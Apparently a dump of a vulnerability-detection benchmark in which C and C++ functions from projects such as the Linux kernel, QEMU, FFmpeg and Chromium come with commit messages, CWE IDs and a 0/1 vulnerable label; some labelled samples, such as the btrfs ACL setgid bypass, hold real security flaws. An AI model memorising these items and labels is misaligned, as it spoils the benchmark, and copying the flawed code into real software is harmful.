instruction
stringclasses
1 value
input
stringlengths
56
241k
output
int64
0
1
__index_level_0__
int64
0
175k
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void coroutine_fn v9fs_setattr(void *opaque) { int err = 0; int32_t fid; V9fsFidState *fidp; size_t offset = 7; V9fsIattr v9iattr; V9fsPDU *pdu = opaque; err = pdu_unmarshal(pdu, offset, "dI", &fid, &v9iattr); if (err < 0) { goto out_nofid; } fidp = get_fid(pdu, fid); if (fidp == NULL) { err = -EINVAL; goto out_nofid; } if (v9iattr.valid & P9_ATTR_MODE) { err = v9fs_co_chmod(pdu, &fidp->path, v9iattr.mode); if (err < 0) { goto out; } } if (v9iattr.valid & (P9_ATTR_ATIME | P9_ATTR_MTIME)) { struct timespec times[2]; if (v9iattr.valid & P9_ATTR_ATIME) { if (v9iattr.valid & P9_ATTR_ATIME_SET) { times[0].tv_sec = v9iattr.atime_sec; times[0].tv_nsec = v9iattr.atime_nsec; } else { times[0].tv_nsec = UTIME_NOW; } } else { times[0].tv_nsec = UTIME_OMIT; } if (v9iattr.valid & P9_ATTR_MTIME) { if (v9iattr.valid & P9_ATTR_MTIME_SET) { times[1].tv_sec = v9iattr.mtime_sec; times[1].tv_nsec = v9iattr.mtime_nsec; } else { times[1].tv_nsec = UTIME_NOW; } } else { times[1].tv_nsec = UTIME_OMIT; } err = v9fs_co_utimensat(pdu, &fidp->path, times); if (err < 0) { goto out; } } /* * If the only valid entry in iattr is ctime we can call * chown(-1,-1) to update the ctime of the file */ if ((v9iattr.valid & (P9_ATTR_UID | P9_ATTR_GID)) || ((v9iattr.valid & P9_ATTR_CTIME) && !((v9iattr.valid & P9_ATTR_MASK) & ~P9_ATTR_CTIME))) { if (!(v9iattr.valid & P9_ATTR_UID)) { v9iattr.uid = -1; } if (!(v9iattr.valid & P9_ATTR_GID)) { v9iattr.gid = -1; } err = v9fs_co_chown(pdu, &fidp->path, v9iattr.uid, v9iattr.gid); if (err < 0) { goto out; } } if (v9iattr.valid & (P9_ATTR_SIZE)) { err = v9fs_co_truncate(pdu, &fidp->path, v9iattr.size); if (err < 0) { goto out; } } err = offset; out: put_fid(pdu, fidp); out_nofid: pdu_complete(pdu, err); } Commit Message: CWE ID: CWE-400
0
7,733
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: gfx::ImageSkia CreateDisabledIcon(const gfx::ImageSkia& icon) { const color_utils::HSL shift = {-1, 0, 0.6}; return gfx::ImageSkiaOperations::CreateHSLShiftedImage(icon, shift); } Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry This CL adds GetInstalledExtension() method to ExtensionRegistry and uses it instead of deprecated ExtensionService::GetInstalledExtension() in chrome/browser/ui/app_list/. Part of removing the deprecated GetInstalledExtension() call from the ExtensionService. BUG=489687 Review URL: https://codereview.chromium.org/1130353010 Cr-Commit-Position: refs/heads/master@{#333036} CWE ID:
0
123,941
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void get_tag(AVFormatContext *s, const char *key, int type, int len, int type2_size) { ASFContext *asf = s->priv_data; char *value = NULL; int64_t off = avio_tell(s->pb); #define LEN 22 if ((unsigned)len >= (UINT_MAX - LEN) / 2) return; if (!asf->export_xmp && !strncmp(key, "xmp", 3)) goto finish; value = av_malloc(2 * len + LEN); if (!value) goto finish; switch (type) { case ASF_UNICODE: avio_get_str16le(s->pb, len, value, 2 * len + 1); break; case -1: // ASCI avio_read(s->pb, value, len); value[len]=0; break; case ASF_BYTE_ARRAY: if (!strcmp(key, "WM/Picture")) { // handle cover art asf_read_picture(s, len); } else if (!strcmp(key, "ID3")) { // handle ID3 tag get_id3_tag(s, len); } else { av_log(s, AV_LOG_VERBOSE, "Unsupported byte array in tag %s.\n", key); } goto finish; case ASF_BOOL: case ASF_DWORD: case ASF_QWORD: case ASF_WORD: { uint64_t num = get_value(s->pb, type, type2_size); snprintf(value, LEN, "%"PRIu64, num); break; } case ASF_GUID: av_log(s, AV_LOG_DEBUG, "Unsupported GUID value in tag %s.\n", key); goto finish; default: av_log(s, AV_LOG_DEBUG, "Unsupported value type %d in tag %s.\n", type, key); goto finish; } if (*value) av_dict_set(&s->metadata, key, value, 0); finish: av_freep(&value); avio_seek(s->pb, off + len, SEEK_SET); } Commit Message: avformat/asfdec: Fix DoS in asf_build_simple_index() Fixes: Missing EOF check in loop No testcase Found-by: Xiaohei and Wangchu from Alibaba Security Team Signed-off-by: Michael Niedermayer <michael@niedermayer.cc> CWE ID: CWE-399
0
61,366
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void vrend_destroy_so_target(struct vrend_so_target *target) { vrend_resource_reference(&target->buffer, NULL); free(target); } Commit Message: CWE ID: CWE-772
0
8,847
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int RenderBlock::lineCount(const RootInlineBox* stopRootInlineBox, bool* found) const { int count = 0; if (style()->visibility() == VISIBLE) { if (childrenInline()) for (RootInlineBox* box = firstRootBox(); box; box = box->nextRootBox()) { count++; if (box == stopRootInlineBox) { if (found) *found = true; break; } } else for (RenderObject* obj = firstChild(); obj; obj = obj->nextSibling()) if (shouldCheckLines(obj)) { bool recursiveFound = false; count += toRenderBlock(obj)->lineCount(stopRootInlineBox, &recursiveFound); if (recursiveFound) { if (found) *found = true; break; } } } return count; } Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1) Previously StyleDifference was an enum that proximately bigger values imply smaller values (e.g. StyleDifferenceLayout implies StyleDifferenceRepaint). This causes unnecessary repaints in some cases on layout change. Convert StyleDifference to a structure containing relatively independent flags. This change doesn't directly improve the result, but can make further repaint optimizations possible. Step 1 doesn't change any functionality. RenderStyle still generate the legacy StyleDifference enum when comparing styles and convert the result to the new StyleDifference. Implicit requirements are not handled during the conversion. Converted call sites to use the new StyleDifference according to the following conversion rules: - diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange() - diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly() - diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer() - diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer() - diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout() - diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout() - diff > StyleDifferenceRepaintLayer => diff.needsLayout() - diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly() - diff == StyleDifferenceLayout => diff.needsFullLayout() BUG=358460 TEST=All existing layout tests. R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983 Review URL: https://codereview.chromium.org/236203020 git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-119
0
116,233
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int check_ctx_access(struct bpf_verifier_env *env, int off, int size, enum bpf_access_type t, enum bpf_reg_type *reg_type) { /* for analyzer ctx accesses are already validated and converted */ if (env->analyzer_ops) return 0; if (env->prog->aux->ops->is_valid_access && env->prog->aux->ops->is_valid_access(off, size, t, reg_type)) { /* remember the offset of last byte accessed in ctx */ if (env->prog->aux->max_ctx_offset < off + size) env->prog->aux->max_ctx_offset = off + size; return 0; } verbose("invalid bpf_context access off=%d size=%d\n", off, size); return -EACCES; } Commit Message: bpf: don't let ldimm64 leak map addresses on unprivileged The patch fixes two things at once: 1) It checks the env->allow_ptr_leaks and only prints the map address to the log if we have the privileges to do so, otherwise it just dumps 0 as we would when kptr_restrict is enabled on %pK. Given the latter is off by default and not every distro sets it, I don't want to rely on this, hence the 0 by default for unprivileged. 2) Printing of ldimm64 in the verifier log is currently broken in that we don't print the full immediate, but only the 32 bit part of the first insn part for ldimm64. Thus, fix this up as well; it's okay to access, since we verified all ldimm64 earlier already (including just constants) through replace_map_fd_with_map_ptr(). Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs") Fixes: cbd357008604 ("bpf: verifier (add ability to receive verification log)") Reported-by: Jann Horn <jannh@google.com> Signed-off-by: Daniel Borkmann <daniel@iogearbox.net> Acked-by: Alexei Starovoitov <ast@kernel.org> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID: CWE-200
0
65,033
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int __btrfs_set_acl(struct btrfs_trans_handle *trans, struct inode *inode, struct posix_acl *acl, int type) { int ret, size = 0; const char *name; char *value = NULL; switch (type) { case ACL_TYPE_ACCESS: name = XATTR_NAME_POSIX_ACL_ACCESS; if (acl) { ret = posix_acl_equiv_mode(acl, &inode->i_mode); if (ret < 0) return ret; if (ret == 0) acl = NULL; } ret = 0; break; case ACL_TYPE_DEFAULT: if (!S_ISDIR(inode->i_mode)) return acl ? -EINVAL : 0; name = XATTR_NAME_POSIX_ACL_DEFAULT; break; default: return -EINVAL; } if (acl) { size = posix_acl_xattr_size(acl->a_count); value = kmalloc(size, GFP_KERNEL); if (!value) { ret = -ENOMEM; goto out; } ret = posix_acl_to_xattr(&init_user_ns, acl, value, size); if (ret < 0) goto out; } ret = __btrfs_setxattr(trans, inode, name, value, size, 0); out: kfree(value); if (!ret) set_cached_acl(inode, type, acl); return ret; } Commit Message: posix_acl: Clear SGID bit when setting file permissions When file permissions are modified via chmod(2) and the user is not in the owning group or capable of CAP_FSETID, the setgid bit is cleared in inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in a similar way; this allows to bypass the check in chmod(2). Fix that. References: CVE-2016-7097 Reviewed-by: Christoph Hellwig <hch@lst.de> Reviewed-by: Jeff Layton <jlayton@redhat.com> Signed-off-by: Jan Kara <jack@suse.cz> Signed-off-by: Andreas Gruenbacher <agruenba@redhat.com> CWE ID: CWE-285
1
166,967
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void vmxnet3_validate_interrupts(VMXNET3State *s) { int i; VMW_CFPRN("Verifying event interrupt index (%d)", s->event_int_idx); vmxnet3_validate_interrupt_idx(s->msix_used, s->event_int_idx); for (i = 0; i < s->txq_num; i++) { int idx = s->txq_descr[i].intr_idx; VMW_CFPRN("Verifying TX queue %d interrupt index (%d)", i, idx); vmxnet3_validate_interrupt_idx(s->msix_used, idx); } for (i = 0; i < s->rxq_num; i++) { int idx = s->rxq_descr[i].intr_idx; VMW_CFPRN("Verifying RX queue %d interrupt index (%d)", i, idx); vmxnet3_validate_interrupt_idx(s->msix_used, idx); } } Commit Message: CWE ID: CWE-200
0
9,077
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: ssize_t tpm_show_enabled(struct device * dev, struct device_attribute * attr, char *buf) { cap_t cap; ssize_t rc; rc = tpm_getcap(dev, TPM_CAP_FLAG_PERM, &cap, "attempting to determine the permanent enabled state"); if (rc) return 0; rc = sprintf(buf, "%d\n", !cap.perm_flags.disable); return rc; } Commit Message: char/tpm: Fix unitialized usage of data buffer This patch fixes information leakage to the userspace by initializing the data buffer to zero. Reported-by: Peter Huewe <huewe.external@infineon.com> Signed-off-by: Peter Huewe <huewe.external@infineon.com> Signed-off-by: Marcel Selhorst <m.selhorst@sirrix.com> [ Also removed the silly "* sizeof(u8)". If that isn't 1, we have way deeper problems than a simple multiplication can fix. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-200
0
27,648
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bool ExtensionInstallPrompt::Prompt::GetIsShowingDetails( DetailsType type, size_t index) const { switch (type) { case PERMISSIONS_DETAILS: CHECK_LT(index, prompt_permissions_.is_showing_details.size()); return prompt_permissions_.is_showing_details[index]; case WITHHELD_PERMISSIONS_DETAILS: CHECK_LT(index, withheld_prompt_permissions_.is_showing_details.size()); return withheld_prompt_permissions_.is_showing_details[index]; case RETAINED_FILES_DETAILS: return is_showing_details_for_retained_files_; case RETAINED_DEVICES_DETAILS: return is_showing_details_for_retained_devices_; } return false; } Commit Message: Make the webstore inline install dialog be tab-modal Also clean up a few minor lint errors while I'm in here. BUG=550047 Review URL: https://codereview.chromium.org/1496033003 Cr-Commit-Position: refs/heads/master@{#363925} CWE ID: CWE-17
0
131,688
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int kill_pid_info(int sig, struct siginfo *info, struct pid *pid) { int error = -ESRCH; struct task_struct *p; for (;;) { rcu_read_lock(); p = pid_task(pid, PIDTYPE_PID); if (p) error = group_send_sig_info(sig, info, p); rcu_read_unlock(); if (likely(!p || error != -ESRCH)) return error; /* * The task was unhashed in between, try again. If it * is dead, pid_task() will return NULL, if we race with * de_thread() it will find the new leader. */ } } Commit Message: kernel/signal.c: avoid undefined behaviour in kill_something_info When running kill(72057458746458112, 0) in userspace I hit the following issue. UBSAN: Undefined behaviour in kernel/signal.c:1462:11 negation of -2147483648 cannot be represented in type 'int': CPU: 226 PID: 9849 Comm: test Tainted: G B ---- ------- 3.10.0-327.53.58.70.x86_64_ubsan+ #116 Hardware name: Huawei Technologies Co., Ltd. RH8100 V3/BC61PBIA, BIOS BLHSV028 11/11/2014 Call Trace: dump_stack+0x19/0x1b ubsan_epilogue+0xd/0x50 __ubsan_handle_negate_overflow+0x109/0x14e SYSC_kill+0x43e/0x4d0 SyS_kill+0xe/0x10 system_call_fastpath+0x16/0x1b Add code to avoid the UBSAN detection. [akpm@linux-foundation.org: tweak comment] Link: http://lkml.kernel.org/r/1496670008-59084-1-git-send-email-zhongjiang@huawei.com Signed-off-by: zhongjiang <zhongjiang@huawei.com> Cc: Oleg Nesterov <oleg@redhat.com> Cc: Michal Hocko <mhocko@kernel.org> Cc: Vlastimil Babka <vbabka@suse.cz> Cc: Xishi Qiu <qiuxishi@huawei.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-119
0
83,231
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int sapi_fcgi_ub_write(const char *str, uint str_length TSRMLS_DC) { const char *ptr = str; uint remaining = str_length; fcgi_request *request = (fcgi_request*) SG(server_context); while (remaining > 0) { long ret = fcgi_write(request, FCGI_STDOUT, ptr, remaining); if (ret <= 0) { php_handle_aborted_connection(); return str_length - remaining; } ptr += ret; remaining -= ret; } return str_length; } Commit Message: CWE ID: CWE-119
0
7,275
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: uint32_t CommandBufferProxyImpl::CreateStreamTexture(uint32_t texture_id) { CheckLock(); base::AutoLock lock(last_state_lock_); if (last_state_.error != gpu::error::kNoError) return 0; int32_t stream_id = channel_->GenerateRouteID(); bool succeeded = false; Send(new GpuCommandBufferMsg_CreateStreamTexture(route_id_, texture_id, stream_id, &succeeded)); if (!succeeded) { DLOG(ERROR) << "GpuCommandBufferMsg_CreateStreamTexture returned failure"; return 0; } return stream_id; } Commit Message: Correct mojo::WrapSharedMemoryHandle usage Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which were assuming that the call actually has any control over the memory protection applied to a handle when mapped. Where fixing usage is infeasible for this CL, TODOs are added to annotate follow-up work. Also updates the API and documentation to (hopefully) improve clarity and avoid similar mistakes from being made in the future. BUG=792900 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477 Reviewed-on: https://chromium-review.googlesource.com/818282 Reviewed-by: Wei Li <weili@chromium.org> Reviewed-by: Lei Zhang <thestig@chromium.org> Reviewed-by: John Abd-El-Malek <jam@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org> Reviewed-by: Yuzhu Shen <yzshen@chromium.org> Reviewed-by: Robert Sesek <rsesek@chromium.org> Commit-Queue: Ken Rockot <rockot@chromium.org> Cr-Commit-Position: refs/heads/master@{#530268} CWE ID: CWE-787
0
149,438
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static inline void f2fs_show_quota_options(struct seq_file *seq, struct super_block *sb) { #ifdef CONFIG_QUOTA struct f2fs_sb_info *sbi = F2FS_SB(sb); if (sbi->s_jquota_fmt) { char *fmtname = ""; switch (sbi->s_jquota_fmt) { case QFMT_VFS_OLD: fmtname = "vfsold"; break; case QFMT_VFS_V0: fmtname = "vfsv0"; break; case QFMT_VFS_V1: fmtname = "vfsv1"; break; } seq_printf(seq, ",jqfmt=%s", fmtname); } if (sbi->s_qf_names[USRQUOTA]) seq_show_option(seq, "usrjquota", sbi->s_qf_names[USRQUOTA]); if (sbi->s_qf_names[GRPQUOTA]) seq_show_option(seq, "grpjquota", sbi->s_qf_names[GRPQUOTA]); if (sbi->s_qf_names[PRJQUOTA]) seq_show_option(seq, "prjjquota", sbi->s_qf_names[PRJQUOTA]); #endif } Commit Message: f2fs: fix potential panic during fstrim As Ju Hyung Park reported: "When 'fstrim' is called for manual trim, a BUG() can be triggered randomly with this patch. I'm seeing this issue on both x86 Desktop and arm64 Android phone. On x86 Desktop, this was caused during Ubuntu boot-up. I have a cronjob installed which calls 'fstrim -v /' during boot. On arm64 Android, this was caused during GC looping with 1ms gc_min_sleep_time & gc_max_sleep_time." Root cause of this issue is that f2fs_wait_discard_bios can only be used by f2fs_put_super, because during put_super there must be no other referrers, so it can ignore discard entry's reference count when removing the entry, otherwise in other caller we will hit bug_on in __remove_discard_cmd as there may be other issuer added reference count in discard entry. Thread A Thread B - issue_discard_thread - f2fs_ioc_fitrim - f2fs_trim_fs - f2fs_wait_discard_bios - __issue_discard_cmd - __submit_discard_cmd - __wait_discard_cmd - dc->ref++ - __wait_one_discard_bio - __wait_discard_cmd - __remove_discard_cmd - f2fs_bug_on(sbi, dc->ref) Fixes: 969d1b180d987c2be02de890d0fff0f66a0e80de Reported-by: Ju Hyung Park <qkrwngud825@gmail.com> Signed-off-by: Chao Yu <yuchao0@huawei.com> Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org> CWE ID: CWE-20
0
86,058
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int LELib_Create(const effect_uuid_t *uuid, int32_t sessionId, int32_t ioId, effect_handle_t *pHandle) { ALOGV("LELib_Create()"); int ret; int i; if (pHandle == NULL || uuid == NULL) { return -EINVAL; } if (memcmp(uuid, &gLEDescriptor.uuid, sizeof(effect_uuid_t)) != 0) { return -EINVAL; } LoudnessEnhancerContext *pContext = new LoudnessEnhancerContext; pContext->mItfe = &gLEInterface; pContext->mState = LOUDNESS_ENHANCER_STATE_UNINITIALIZED; pContext->mCompressor = NULL; ret = LE_init(pContext); if (ret < 0) { ALOGW("LELib_Create() init failed"); delete pContext; return ret; } *pHandle = (effect_handle_t)pContext; pContext->mState = LOUDNESS_ENHANCER_STATE_INITIALIZED; ALOGV(" LELib_Create context is %p", pContext); return 0; } Commit Message: audio effects: fix heap overflow Check consistency of effect command reply sizes before copying to reply address. Also add null pointer check on reply size. Also remove unused parameter warning. Bug: 21953516. Change-Id: I4cf00c12eaed696af28f3b7613f7e36f47a160c4 (cherry picked from commit 0f714a464d2425afe00d6450535e763131b40844) CWE ID: CWE-119
1
173,346
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int unuse_pte_range(struct vm_area_struct *vma, pmd_t *pmd, unsigned long addr, unsigned long end, swp_entry_t entry, struct page *page) { pte_t swp_pte = swp_entry_to_pte(entry); pte_t *pte; int ret = 0; /* * We don't actually need pte lock while scanning for swp_pte: since * we hold page lock and mmap_sem, swp_pte cannot be inserted into the * page table while we're scanning; though it could get zapped, and on * some architectures (e.g. x86_32 with PAE) we might catch a glimpse * of unmatched parts which look like swp_pte, so unuse_pte must * recheck under pte lock. Scanning without pte lock lets it be * preemptible whenever CONFIG_PREEMPT but not CONFIG_HIGHPTE. */ pte = pte_offset_map(pmd, addr); do { /* * swapoff spends a _lot_ of time in this loop! * Test inline before going to call unuse_pte. */ if (unlikely(pte_same(*pte, swp_pte))) { pte_unmap(pte); ret = unuse_pte(vma, pmd, addr, entry, page); if (ret) goto out; pte = pte_offset_map(pmd, addr); } } while (pte++, addr += PAGE_SIZE, addr != end); pte_unmap(pte - 1); out: return ret; } Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream. In some cases it may happen that pmd_none_or_clear_bad() is called with the mmap_sem hold in read mode. In those cases the huge page faults can allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a false positive from pmd_bad() that will not like to see a pmd materializing as trans huge. It's not khugepaged causing the problem, khugepaged holds the mmap_sem in write mode (and all those sites must hold the mmap_sem in read mode to prevent pagetables to go away from under them, during code review it seems vm86 mode on 32bit kernels requires that too unless it's restricted to 1 thread per process or UP builds). The race is only with the huge pagefaults that can convert a pmd_none() into a pmd_trans_huge(). Effectively all these pmd_none_or_clear_bad() sites running with mmap_sem in read mode are somewhat speculative with the page faults, and the result is always undefined when they run simultaneously. This is probably why it wasn't common to run into this. For example if the madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page fault, the hugepage will not be zapped, if the page fault runs first it will be zapped. Altering pmd_bad() not to error out if it finds hugepmds won't be enough to fix this, because zap_pmd_range would then proceed to call zap_pte_range (which would be incorrect if the pmd become a pmd_trans_huge()). The simplest way to fix this is to read the pmd in the local stack (regardless of what we read, no need of actual CPU barriers, only compiler barrier needed), and be sure it is not changing under the code that computes its value. Even if the real pmd is changing under the value we hold on the stack, we don't care. If we actually end up in zap_pte_range it means the pmd was not none already and it was not huge, and it can't become huge from under us (khugepaged locking explained above). All we need is to enforce that there is no way anymore that in a code path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad can run into a hugepmd. The overhead of a barrier() is just a compiler tweak and should not be measurable (I only added it for THP builds). I don't exclude different compiler versions may have prevented the race too by caching the value of *pmd on the stack (that hasn't been verified, but it wouldn't be impossible considering pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines and there's no external function called in between pmd_trans_huge and pmd_none_or_clear_bad). if (pmd_trans_huge(*pmd)) { if (next-addr != HPAGE_PMD_SIZE) { VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem)); split_huge_page_pmd(vma->vm_mm, pmd); } else if (zap_huge_pmd(tlb, vma, pmd, addr)) continue; /* fall through */ } if (pmd_none_or_clear_bad(pmd)) Because this race condition could be exercised without special privileges this was reported in CVE-2012-1179. The race was identified and fully explained by Ulrich who debugged it. I'm quoting his accurate explanation below, for reference. ====== start quote ======= mapcount 0 page_mapcount 1 kernel BUG at mm/huge_memory.c:1384! At some point prior to the panic, a "bad pmd ..." message similar to the following is logged on the console: mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7). The "bad pmd ..." message is logged by pmd_clear_bad() before it clears the page's PMD table entry. 143 void pmd_clear_bad(pmd_t *pmd) 144 { -> 145 pmd_ERROR(*pmd); 146 pmd_clear(pmd); 147 } After the PMD table entry has been cleared, there is an inconsistency between the actual number of PMD table entries that are mapping the page and the page's map count (_mapcount field in struct page). When the page is subsequently reclaimed, __split_huge_page() detects this inconsistency. 1381 if (mapcount != page_mapcount(page)) 1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n", 1383 mapcount, page_mapcount(page)); -> 1384 BUG_ON(mapcount != page_mapcount(page)); The root cause of the problem is a race of two threads in a multithreaded process. Thread B incurs a page fault on a virtual address that has never been accessed (PMD entry is zero) while Thread A is executing an madvise() system call on a virtual address within the same 2 MB (huge page) range. virtual address space .---------------------. | | | | .-|---------------------| | | | | | |<-- B(fault) | | | 2 MB | |/////////////////////|-. huge < |/////////////////////| > A(range) page | |/////////////////////|-' | | | | | | '-|---------------------| | | | | '---------------------' - Thread A is executing an madvise(..., MADV_DONTNEED) system call on the virtual address range "A(range)" shown in the picture. sys_madvise // Acquire the semaphore in shared mode. down_read(&current->mm->mmap_sem) ... madvise_vma switch (behavior) case MADV_DONTNEED: madvise_dontneed zap_page_range unmap_vmas unmap_page_range zap_pud_range zap_pmd_range // // Assume that this huge page has never been accessed. // I.e. content of the PMD entry is zero (not mapped). // if (pmd_trans_huge(*pmd)) { // We don't get here due to the above assumption. } // // Assume that Thread B incurred a page fault and .---------> // sneaks in here as shown below. | // | if (pmd_none_or_clear_bad(pmd)) | { | if (unlikely(pmd_bad(*pmd))) | pmd_clear_bad | { | pmd_ERROR | // Log "bad pmd ..." message here. | pmd_clear | // Clear the page's PMD entry. | // Thread B incremented the map count | // in page_add_new_anon_rmap(), but | // now the page is no longer mapped | // by a PMD entry (-> inconsistency). | } | } | v - Thread B is handling a page fault on virtual address "B(fault)" shown in the picture. ... do_page_fault __do_page_fault // Acquire the semaphore in shared mode. down_read_trylock(&mm->mmap_sem) ... handle_mm_fault if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) // We get here due to the above assumption (PMD entry is zero). do_huge_pmd_anonymous_page alloc_hugepage_vma // Allocate a new transparent huge page here. ... __do_huge_pmd_anonymous_page ... spin_lock(&mm->page_table_lock) ... page_add_new_anon_rmap // Here we increment the page's map count (starts at -1). atomic_set(&page->_mapcount, 0) set_pmd_at // Here we set the page's PMD entry which will be cleared // when Thread A calls pmd_clear_bad(). ... spin_unlock(&mm->page_table_lock) The mmap_sem does not prevent the race because both threads are acquiring it in shared mode (down_read). Thread B holds the page_table_lock while the page's map count and PMD table entry are updated. However, Thread A does not synchronize on that lock. ====== end quote ======= [akpm@linux-foundation.org: checkpatch fixes] Reported-by: Ulrich Obergfell <uobergfe@redhat.com> Signed-off-by: Andrea Arcangeli <aarcange@redhat.com> Acked-by: Johannes Weiner <hannes@cmpxchg.org> Cc: Mel Gorman <mgorman@suse.de> Cc: Hugh Dickins <hughd@google.com> Cc: Dave Jones <davej@redhat.com> Acked-by: Larry Woodman <lwoodman@redhat.com> Acked-by: Rik van Riel <riel@redhat.com> Cc: Mark Salter <msalter@redhat.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> CWE ID: CWE-264
0
21,423
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: PHPAPI void php_set_session_var(char *name, size_t namelen, zval *state_val, php_unserialize_data_t *var_hash TSRMLS_DC) /* {{{ */ { IF_SESSION_VARS() { zend_set_hash_symbol(state_val, name, namelen, PZVAL_IS_REF(state_val), 1, Z_ARRVAL_P(PS(http_session_vars))); } } /* }}} */ Commit Message: CWE ID: CWE-416
0
9,643
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bt_status_t btif_dm_ssp_reply(const bt_bdaddr_t *bd_addr, bt_ssp_variant_t variant, uint8_t accept, uint32_t passkey) { UNUSED(passkey); if (variant == BT_SSP_VARIANT_PASSKEY_ENTRY) { /* This is not implemented in the stack. * For devices with display, this is not needed */ BTIF_TRACE_WARNING("%s: Not implemented", __FUNCTION__); return BT_STATUS_FAIL; } /* BT_SSP_VARIANT_CONSENT & BT_SSP_VARIANT_PASSKEY_CONFIRMATION supported */ BTIF_TRACE_EVENT("%s: accept=%d", __FUNCTION__, accept); #if (defined(BLE_INCLUDED) && (BLE_INCLUDED == TRUE)) if (pairing_cb.is_le_only) { if(pairing_cb.is_le_nc) { BTA_DmBleConfirmReply((UINT8 *)bd_addr->address,accept); } else { if (accept) BTA_DmBleSecurityGrant((UINT8 *)bd_addr->address,BTA_DM_SEC_GRANTED); else BTA_DmBleSecurityGrant((UINT8 *)bd_addr->address,BTA_DM_SEC_PAIR_NOT_SPT); } } else { BTA_DmConfirm( (UINT8 *)bd_addr->address, accept); } #else BTA_DmConfirm( (UINT8 *)bd_addr->address, accept); #endif return BT_STATUS_SUCCESS; } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284
0
158,613
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
